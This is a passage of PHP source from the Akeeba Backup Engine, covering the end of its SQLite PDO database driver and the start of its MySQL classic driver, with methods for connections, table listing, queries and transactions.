		{
			return $this->prepared->rowCount();
		}
		else
		{
			return 0;
		}
	}

	/**
	 * Retrieve a PDO database connection attribute
	 * http://www.php.net/manual/en/pdo.getattribute.php
	 *
	 * Usage: $db->getOption(PDO::ATTR_CASE);
	 *
	 * @param   mixed  $key  One of the PDO::ATTR_* Constants
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function getOption($key)
	{
		$this->open();

		return $this->connection->getAttribute($key);
	}

	/**
	 * Get the current query object or a new Query object.
	 * We have to override the parent method since it will always return a PDO query, while we have a
	 * specialized class for SQLite
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new Query object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the Query class.
	 *
	 * @throws  RuntimeException
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new Query\Sqlite($this);
		}

		return $this->sql;
	}

	public function createQuery()
	{
		return new Query\Sqlite($this);
	}

	/**
	 * Retrieves field information about a given table.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields for the database table.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		$this->open();

		$columns = [];
		$query   = $this->getQuery(true);

		$fieldCasing = $this->getOption(PDO::ATTR_CASE);

		$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);

		$table = strtoupper($table);

		$query->setQuery('pragma table_info(' . $table . ')');

		$this->setQuery($query);
		$fields = $this->loadObjectList();

		if ($typeOnly)
		{
			foreach ($fields as $field)
			{
				$columns[$field->NAME] = $field->TYPE;
			}
		}
		else
		{
			foreach ($fields as $field)
			{
				// Do some dirty translation to MySQL output.
				$columns[$field->NAME] = (object) [
					'Field'   => $field->NAME,
					'Type'    => $field->TYPE,
					'Null'    => ($field->NOTNULL == '1' ? 'NO' : 'YES'),
					'Default' => $field->DFLT_VALUE,
					'Key'     => ($field->PK == '1' ? 'PRI' : ''),
				];
			}
		}

		$this->setOption(PDO::ATTR_CASE, $fieldCasing);

		return $columns;
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * Note: Doesn't appear to have support in SQLite
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableCreate($tables)
	{
		$this->open();

		// Sanitize input to an array and iterate over the list.
		$tables = (array) $tables;

		return $tables;
	}

	/**
	 * Get the details list of keys for a table.
	 *
	 * @param   string  $tables  The name of the table.
	 *
	 * @return  array  An array of the column specification for the table.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableKeys($tables)
	{
		$this->open();

		$keys  = [];
		$query = $this->getQuery(true);

		$fieldCasing = $this->getOption(PDO::ATTR_CASE);

		$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);

		$tables = strtoupper($tables);
		$query->setQuery('pragma table_info( ' . $tables . ')');

		// $query->bind(':tableName', $table);

		$this->setQuery($query);
		$rows = $this->loadObjectList();

		foreach ($rows as $column)
		{
			if ($column->PK == 1)
			{
				$keys[$column->NAME] = $column;
			}
		}

		$this->setOption(PDO::ATTR_CASE, $fieldCasing);

		return $keys;
	}

	/**
	 * Method to get an array of all tables in the database (schema).
	 *
	 * @return  array   An array of all the tables in the database.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function getTableList()
	{
		$this->open();

		/* @type  Query\Sqlite $query */
		$query = $this->getQuery(true);

		$type = 'table';

		$query->select('name');
		$query->from('sqlite_master');
		$query->where('type = :type');
		$query->bind(':type', $type);
		$query->order('name');

		$this->setQuery($query);

		$tables = $this->loadColumn();

		return $tables;
	}

	/**
	 * There's no point on return "a list of tables" inside a SQLite database: we are simple going to
	 * copy the whole database file in the new location
	 *
	 * @param   bool  $abstract
	 *
	 * @return array
	 */
	public function getTables($abstract = true)
	{
		return [];
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 *
	 * @since   1.0
	 */
	public function getVersion()
	{
		$this->open();

		$this->setQuery("SELECT sqlite_version()");

		return $this->loadResult();
	}

	public function insertid()
	{
		$this->open();

		// Error suppress this to prevent PDO warning us that the driver doesn't support this operation.
		return @$this->connection->lastInsertId();
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableName  The name of the table to unlock.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function lockTable($tableName)
	{
		return $this;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		if (isset($this->options['version']) && $this->options['version'] == 2)
		{
			$format = 'sqlite2:#DBNAME#';
		}
		else
		{
			$format = 'sqlite:#DBNAME#';
		}

		$replace = ['#DBNAME#'];
		$with    = [$this->options['database']];

		// Create the connection string:
		$connectionString = str_replace($replace, $with, $format);

		try
		{
			$this->connection = new PDO(
				$connectionString,
				$this->options['user'],
				$this->options['password']
			);
		}
		catch (PDOException $e)
		{
			throw new RuntimeException('Could not connect to PDO' . ': ' . $e->getMessage(), 2, $e);
		}
	}

	public function query()
	{
		$this->open();

		if (!is_object($this->connection))
		{
			throw new RuntimeException($this->errorMsg, $this->errorNum);
		}

		// Take a local copy so that we don't modify the original query and cause issues later
		$sql = $this->replacePrefix((string) $this->sql);

		if ($this->limit > 0 || $this->offset > 0)
		{
			$sql .= ' LIMIT ' . $this->limit;

			if ($this->offset > 0)
			{
				$sql .= ' OFFSET ' . $this->offset;
			}
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $sql;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query.
		$this->executed = false;

		if ($this->prepared instanceof PDOStatement)
		{
			// Bind the variables:
			if ($this->sql instanceof Preparable)
			{
				$bounded =& $this->sql->getBounded();

				foreach ($bounded as $key => $obj)
				{
					$this->prepared->bindParam($key, $obj->value, $obj->dataType, $obj->length, $obj->driverOptions);
				}
			}

			$this->executed = $this->prepared->execute();
		}

		// If an error occurred handle it.
		if (!$this->executed)
		{
			// Get the error number and message before we execute any more queries.
			$errorNum = (int) $this->connection->errorCode();
			$errorMsg = (string) 'SQL: ' . implode(", ", $this->connection->errorInfo());

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
				catch (RuntimeException $e)
					// If connect fails, ignore that exception and throw the normal exception.
				{
					// Get the error number and message.
					$this->errorNum = (int) $this->connection->errorCode();
					$this->errorMsg = (string) 'SQL: ' . implode(", ", $this->connection->errorInfo());

					// Throw the normal query exception.
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			else
				// The server was not disconnected.
			{
				// Get the error number and message from before we tried to reconnect.
				$this->errorNum = $errorNum;
				$this->errorMsg = $errorMsg;

				// Throw the normal query exception.
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->prepared;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Not used by Sqlite.
	 * @param   string  $prefix    Not used by Sqlite.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		$this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME TO ' . $newTable)->execute();

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function select($database)
	{
		$this->open();

		$this->_database = $database;

		return true;
	}

	/**
	 * Sets an attribute on the PDO database handle.
	 * http://www.php.net/manual/en/pdo.setattribute.php
	 *
	 * Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
	 *
	 * @param   integer  $key    One of the PDO::ATTR_* Constants
	 * @param   mixed    $value  One of the associated PDO Constants
	 *                           related to the particular attribute
	 *                           key.
	 *
	 * @return boolean
	 *
	 * @since  1.0
	 */
	public function setOption($key, $value)
	{
		$this->open();

		return $this->connection->setAttribute($key, $value);
	}

	/**
	 * Sets the SQL statement string for later execution.
	 *
	 * @param   mixed    $query          The SQL statement to set either as a JDatabaseQuery object or a string.
	 * @param   integer  $offset         The affected row offset to set.
	 * @param   integer  $limit          The maximum affected rows to set.
	 * @param   array    $driverOptions  The optional PDO driver options
	 *
	 * @return  Base  This object to support method chaining.
	 *
	 * @since   1.0
	 */
	public function setQuery($query, $offset = null, $limit = null, $driverOptions = [])
	{
		$this->open();

		$this->freeResult();

		if (is_string($query))
		{
			// Allows taking advantage of bound variables in a direct query:
			$query = $this->getQuery(true)->setQuery($query);
		}

		if ($query instanceof Limitable && !is_null($offset) && !is_null($limit))
		{
			$query->setLimit($limit, $offset);
		}

		$sql = $this->replacePrefix((string) $query);

		$this->prepared = $this->connection->prepare($sql, $driverOptions);

		// Store reference to the DatabaseQuery instance:
		parent::setQuery($query, $offset, $limit);

		return $this;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * Returns false automatically for the Oracle driver since
	 * you can only set the character set when the connection
	 * is created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 */
	public function setUTF()
	{
		$this->open();

		return false;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @param   boolean  $toSavepoint  If true, commit to the last savepoint.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionCommit($toSavepoint = false)
	{
		$this->open();

		if (!$toSavepoint || $this->transactionDepth <= 1)
		{
			$this->open();

			if (!$toSavepoint || $this->transactionDepth == 1)
			{
				$this->connection->commit();
			}

			$this->transactionDepth--;
		}
		else
		{
			$this->transactionDepth--;
		}
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @param   boolean  $toSavepoint  If true, rollback to the last savepoint.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionRollback($toSavepoint = false)
	{
		$this->connected();

		if (!$toSavepoint || $this->transactionDepth <= 1)
		{
			$this->open();

			if (!$toSavepoint || $this->transactionDepth == 1)
			{
				$this->connection->rollBack();
			}

			$this->transactionDepth--;
		}
		else
		{
			$savepoint = 'SP_' . ($this->transactionDepth - 1);
			$this->setQuery('ROLLBACK TO ' . $this->quoteName($savepoint));

			if ($this->execute())
			{
				$this->transactionDepth--;
			}
		}
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @param   boolean  $asSavepoint  If true and a transaction is already active, a savepoint will be created.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function transactionStart($asSavepoint = false)
	{
		$this->connected();

		if (!$asSavepoint || !$this->transactionDepth)
		{
			$this->open();

			if (!$asSavepoint || !$this->transactionDepth)
			{
				$this->connection->beginTransaction();
			}

			$this->transactionDepth++;
		}
		else
		{
			$savepoint = 'SP_' . $this->transactionDepth;
			$this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint));

			if ($this->execute())
			{
				$this->transactionDepth++;
			}
		}
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Sqlite Returns this object to support chaining.
	 *
	 * @throws  RuntimeException
	 * @since   1.0
	 */
	public function unlockTables()
	{
		return $this;
	}

	protected function fetchArray($cursor = null)
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetch(PDO::FETCH_NUM);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetch(PDO::FETCH_NUM);
		}
	}

	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			return $cursor->fetchObject($class);
		}

		if ($this->prepared instanceof PDOStatement)
		{
			return $this->prepared->fetchObject($class);
		}
	}
}
com_akeeba/BackupEngine/Driver/Mysql.php000060400000063445152455305260014235 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Mysql as QueryMysql;
use Akeeba\Engine\Factory;
use Exception;
use RuntimeException;

/**
 * MySQL classic driver for Akeeba Engine
 *
 * Based on Joomla! Platform 11.2
 */
#[\AllowDynamicProperties]
class Mysql extends Base
{

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $name = 'mysql';

	/**
	 * Hostname
	 *
	 * @var   string
	 */
	protected $host;

	/**
	 * The character(s) used to quote SQL statement names such as table names or field names,
	 * etc. The child classes should define this as necessary.  If a single character string the
	 * same character is used for both sides of the quoted name, else the first character will be
	 * used for the opening quote and the second for the closing quote.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $nameQuote = '`';

	/**
	 * The null or zero representation of a timestamp for the database driver.  This should be
	 * defined in child classes to hold the appropriate value for the engine.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $nullDate = '0000-00-00 00:00:00';

	/**
	 * Password
	 *
	 * @var   string
	 */
	protected $password;

	/**
	 * Should I select a database?
	 *
	 * @var   bool
	 */
	protected $selectDatabase;

	/**
	 * Username
	 *
	 * @var   string
	 */
	protected $user;

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	/** @var array|null A cache of the tables contained in the currently connected database */
	public $tablesCache = null;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'mysql';

		// Init
		$this->nameQuote = '`';

		$host     = array_key_exists('host', $options) ? $options['host'] : 'localhost';
		$port     = array_key_exists('port', $options) ? $options['port'] : '';
		$user     = array_key_exists('user', $options) ? $options['user'] : '';
		$password = array_key_exists('password', $options) ? $options['password'] : '';
		$database = array_key_exists('database', $options) ? $options['database'] : '';
		$prefix   = array_key_exists('prefix', $options) ? $options['prefix'] : '';
		$select   = array_key_exists('select', $options) ? $options['select'] : true;

		if (!empty($port))
		{
			$host .= ':' . $port;
		}

		// finalize initialization
		parent::__construct($options);

		// Avoid overwriting connection info if they're already set
		if (is_null($this->host))
		{
			$this->host = $host;
		}

		if (is_null($this->user))
		{
			$this->user = $user;
		}

		if (is_null($this->password))
		{
			$this->password = $password;
		}

		if (is_null($this->_database))
		{
			$this->_database = $database;
		}

		if (is_null($this->selectDatabase))
		{
			$this->selectDatabase = $select;
		}

		// Open the connection
		if (!is_resource($this->connection) || is_null($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		return (function_exists('mysql_connect'));
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function test()
	{
		return (function_exists('mysql_connect'));
	}

	public function close()
	{
		$return = false;
		if (is_resource($this->cursor))
		{
			mysql_free_result($this->cursor);
		}
		if (is_resource($this->connection) || (!is_null($this->connection) && !is_bool($this->connection)))
		{
			$return = mysql_close($this->connection);
		}
		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		if (is_resource($this->connection))
		{
			return @mysql_ping($this->connection);
		}

		return false;
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Mysql  Returns this object to support chaining.
	 */
	public function dropTable($table, $ifExists = true)
	{
		$query = $this->getQuery(true);

		$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($table));

		$this->query();

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (is_null($text))
		{
			return 'NULL';
		}

		$result = @mysql_real_escape_string($text, $this->getConnection());

		if ($result === false)
		{
			// Attempt to reconnect.
			try
			{
				$this->connection = null;
				$this->open();

				$result = @mysql_real_escape_string($text, $this->getConnection());
			}
			catch (RuntimeException $e)
			{
				$result = $this->unsafe_escape($text);
			}
		}

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		return mysql_fetch_assoc($cursor ?: $this->cursor);
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		mysql_free_result($cursor ?: $this->cursor);
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		return mysql_affected_rows($this->connection);
	}

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database (string) or boolean false if not supported.
	 */
	public function getCollation()
	{
		$this->setQuery('SHOW FULL COLUMNS FROM #__ak_stats');
		$array = $this->loadAssocList();

		return $array['2']['Collation'];
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		return mysql_num_rows($cursor ?: $this->cursor);
	}

	/**
	 * Get the current or query, or new JDatabaseQuery object.
	 *
	 * @param   boolean  $new  False to return the last query set, True to return a new JDatabaseQuery object.
	 *
	 * @return  mixed  The current value of the internal SQL variable or a new JDatabaseQuery object.
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new QueryMysql($this);
		}
		else
		{
			return $this->sql;
		}
	}

	public function createQuery()
	{
		return new QueryMysql($this);
	}

	/**
	 * Retrieves field information about a given table.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields for the database table.
	 */
	public function getTableColumns($table, $typeOnly = true)
	{
		$result = [];

		// Set the query to get the table fields statement.
		$this->setQuery('SHOW FULL COLUMNS FROM ' . $this->quoteName($this->escape($table)));
		$fields = $this->loadObjectList();

		// If we only want the type as the value add just that to the list.
		if ($typeOnly)
		{
			foreach ($fields as $field)
			{
				$result[$field->Field] = preg_replace("/[(0-9)]/", '', $field->Type);
			}
		}
		// If we want the whole field data object add that to the list.
		else
		{
			foreach ($fields as $field)
			{
				$result[$field->Field] = $field;
			}
		}

		return $result;
	}

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	public function getTableCreate($tables)
	{
		// Initialise variables.
		$result = [];

		// Sanitize input to an array and iterate over the list.
		$tables = (array) $tables;
		foreach ($tables as $table)
		{
			// Set the query to get the table CREATE statement.
			$this->setQuery('SHOW CREATE table ' . $this->quoteName($this->escape($table)));
			$row = $this->loadRow();

			// Populate the result array based on the create statements.
			$result[$table] = $row[1];
		}

		return $result;
	}

	/**
	 * Get the details list of keys for a table.
	 *
	 * @param   string  $tables  The name of the table.
	 *
	 * @return  array  An array of the column specification for the table.
	 */
	public function getTableKeys($tables)
	{
		// Get the details columns information.
		$this->setQuery('SHOW KEYS FROM ' . $this->quoteName($tables));
		$keys = $this->loadObjectList();

		return $keys;
	}

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	public function getTableList()
	{
		// Set the query to get the tables statement.
		$this->setQuery('SHOW TABLES');
		$tables = $this->loadColumn();

		return $tables;
	}

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return abstract or normal names? Defaults to true (abstract names)
	 *
	 * @return array
	 */
	public function getTables($abstract = true)
	{
		if (!empty($this->tablesCache[$this->_database]))
		{
			return $this->tablesCache[$this->_database];
		}

		$sql = "SHOW TABLES";
		$this->setQuery($sql);
		$all_tables = $this->loadColumn();

		if (!empty($all_tables))
		{
			// Start by adding tables and views to the list
			foreach ($all_tables as $table_name)
			{
				if ($abstract)
				{
					$table_name = $this->getAbstract($table_name);
				}
				$this->tablesCache[$this->_database][$table_name] = 'table';
			}

			// Loop all metadatas
			foreach ($all_tables as $table_metadata)
			{
				$table_name     = $table_metadata;
				$table_abstract = $this->getAbstract($table_metadata);
				$type           = 'table';

				if ($abstract)
				{
					$table_metadata = $table_abstract;
				}

				$create = $this->get_create($table_abstract, $table_name, $type);
				// Scan for the table engine.
				$engine = null; // So that we detect VIEWs correctly

				if ($type == 'table')
				{
					$engine      = 'MyISAM'; // So that even with MySQL 4 hosts we don't screw this up
					$engine_keys = ['ENGINE=', 'TYPE='];
					foreach ($engine_keys as $engine_key)
					{
						$start_pos = strrpos($create, $engine_key);
						if ($start_pos !== false)
						{
							// Advance the start position just after the position of the ENGINE keyword
							$start_pos += strlen($engine_key);
							// Try to locate the space after the engine type
							$end_pos = stripos($create, ' ', $start_pos);
							if ($end_pos === false)
							{
								// Uh... maybe it ends with ENGINE=EngineType;
								$end_pos = stripos($create, ';');
							}
							if ($end_pos !== '')
							{
								// Grab the string
								$engine = substr($create, $start_pos, $end_pos - $start_pos);
							}
						}
					}
					$engine = strtoupper($engine);
				}

				switch ($engine)
				{
					// Views -- FIX: They are detected based on their CREATE STATEMENT
					case null:
						$this->tablesCache[$this->_database][$table_metadata] = 'view';
						break;

					// Merge tables
					case 'MRG_MYISAM':
						$this->tablesCache[$this->_database][$table_metadata] = 'merge';
						break;

					// Tables whose data we do not back up (memory, federated and can-have-no-data tables)
					case 'MEMORY':
					case 'EXAMPLE':
					case 'BLACKHOLE':
					case 'FEDERATED':
						$this->tablesCache[$this->_database][$table_metadata] = 'temp';
						break;

					// Normal tables
					default:
						break;
				} // switch
			} // foreach
		} // if !empty

		// If we have MySQL > 5.0 add the list of stored procedures, stored functions
		// and triggers
		$registry        = Factory::getConfiguration();
		$enable_entities = $registry->get('engine.dump.native.advanced_entitites', true);
		if ($enable_entities)
		{
			// 1. Stored procedures
			$sql = "SHOW PROCEDURE STATUS WHERE " . $this->quoteName('Db') . "=" . $this->quote($this->_database);
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadAssocList();
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			if (is_array($all_entries) || $all_entries instanceof \Countable ? count($all_entries) : 0)
			{
				foreach ($all_entries as $entry)
				{
					$table_name = $entry['Name'];
					if ($abstract)
					{
						$table_name = $this->getAbstract($table_name);
					}
					$this->tablesCache[$this->_database][$table_name] = 'procedure';
				}
			}

			// 2. Stored functions
			$sql = "SHOW FUNCTION STATUS WHERE " . $this->quoteName('Db') . "=" . $this->quote($this->_database);
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadColumn(1);
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $table_name)
					{
						if ($abstract)
						{
							$table_name = $this->getAbstract($table_name);
						}
						$this->tablesCache[$this->_database][$table_name] = 'function';
					}
				}
			}

			// 3. Triggers
			$sql = "SHOW TRIGGERS";
			$this->setQuery($sql);

			try
			{
				$all_entries = $this->loadColumn();
			}
			catch (Exception $e)
			{
				$all_entries = [];
			}

			// If we have filters, make sure the tables pass the filtering
			if (is_array($all_entries))
			{
				if (count($all_entries))
				{
					foreach ($all_entries as $table_name)
					{
						if ($abstract)
						{
							$table_name = $this->getAbstract($table_name);
						}
						$this->tablesCache[$this->_database][$table_name] = 'trigger';
					}
				}
			}

		}

		return $this->tablesCache[$this->_database];
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		return mysql_get_server_info($this->connection);
	}

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		$verParts = explode('.', $this->getVersion());

		return ($verParts[0] == 5 || ($verParts[0] == 4 && $verParts[1] == 1 && (int) $verParts[2] >= 2));
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		return mysql_insert_id($this->connection);
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableName  The name of the table to unlock.
	 *
	 * @return  Mysql  Returns this object to support chaining.
	 */
	public function lockTable($tableName)
	{
		$this->setQuery('LOCK TABLES ' . $this->quoteName($tableName) . ' WRITE')->query();

		return $this;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		// perform a number of fatality checks, then return gracefully
		if (!function_exists('mysql_connect'))
		{
			$this->errorNum = 1;
			$this->errorMsg = 'The MySQL adapter "mysql" is not available.';

			return;
		}

		if (!($this->connection = @mysql_connect($this->host, $this->user, $this->password, true)))
		{
			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to MySQL';

			return;
		}

		// Set sql_mode to non_strict mode
		mysql_query("SET @@SESSION.sql_mode = '';", $this->connection);

		// If auto-select is enabled select the given database.
		if ($this->selectDatabase && !empty($this->_database))
		{
			if (!$this->select($this->_database))
			{
				$this->errorNum = 3;
				$this->errorMsg = "Cannot select database {$this->_database}";

				return;
			}
		}

		$this->setUTF();
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		if (!is_resource($this->connection))
		{
			throw new RuntimeException($this->errorMsg, $this->errorNum);
		}

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string) $this->sql);
		if ($this->limit > 0 || $this->offset > 0)
		{
			$query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		$this->cursor = @mysql_query($query, $this->connection);

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					// Get the error number and message.
					$this->errorNum = (int) mysql_errno($this->connection);
					$this->errorMsg = (string) mysql_error($this->connection) . ' SQL=' . $query;

					// Throw the normal query exception.
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			else
			{
				// Get the error number and message.
				$this->errorNum = (int) mysql_errno($this->connection);
				$this->errorMsg = (string) mysql_error($this->connection) . ' SQL=' . $query;

				// Throw the normal query exception.
				if ($this->errorNum != 0)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}
			}
		}

		return $this->cursor;
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Not used by MySQL.
	 * @param   string  $prefix    Not used by MySQL.
	 *
	 * @return  Mysql  Returns this object to support chaining.
	 */
	public function renameTable($oldTable, $newTable, $backup = null, $prefix = null)
	{
		$this->setQuery('RENAME TABLE ' . $oldTable . ' TO ' . $newTable)->query();

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		if (!$database)
		{
			return false;
		}

		if (!mysql_select_db($database, $this->connection))
		{
			throw new RuntimeException('Could not connect to database');
		}

		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		$result = false;

		if ($this->supportsUtf8mb4())
